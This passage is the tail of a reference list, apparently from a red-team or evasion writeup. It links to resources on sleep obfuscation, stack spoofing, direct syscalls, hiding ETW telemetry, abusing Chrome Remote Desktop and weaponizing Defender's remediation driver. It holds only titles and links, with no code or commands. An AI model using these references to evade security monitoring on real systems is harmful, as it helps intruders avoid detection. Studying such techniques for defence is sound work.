   1426 - [30] [Sleeping Beauty II: CFG, CET, and Stack Spoofing](https://maorsabag.github.io/posts/adaptix-stealthpalace/sleeping-beauty-ii)
   1427 - [31] [Ekko sleep obfuscation](https://github.com/Cracked5pider/Ekko)
   1428 - [32] [SysWhispers4 – GitHub](https://github.com/JoasASantos/SysWhispers4)
   1429 - [33] [blog.xpnsec.com - Hiding Your Dotnet Etw](https://blog.xpnsec.com/hiding-your-dotnet-etw)
   1430 - [34] [repnz/etw-providers-docs](https://github.com/repnz/etw-providers-docs)
   1431 - [35] [trustedsec.com - Abusing Chrome Remote Desktop On Red Team Operations A Practical Guide](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide)
   1432 - [36] [Check Point Research - BTR Reforged: Weaponizing Defender's Remediation Driver as a Kernel Operation Primitive](https://research.checkpoint.com/2026/btr-reforged-weaponizing-defenders-remediation-driver-as-a-kernel-operation-primitive/)
   1433 - [37] [Dump-GUY - BTR_CLI](https://github.com/Dump-GUY/BTR_CLI)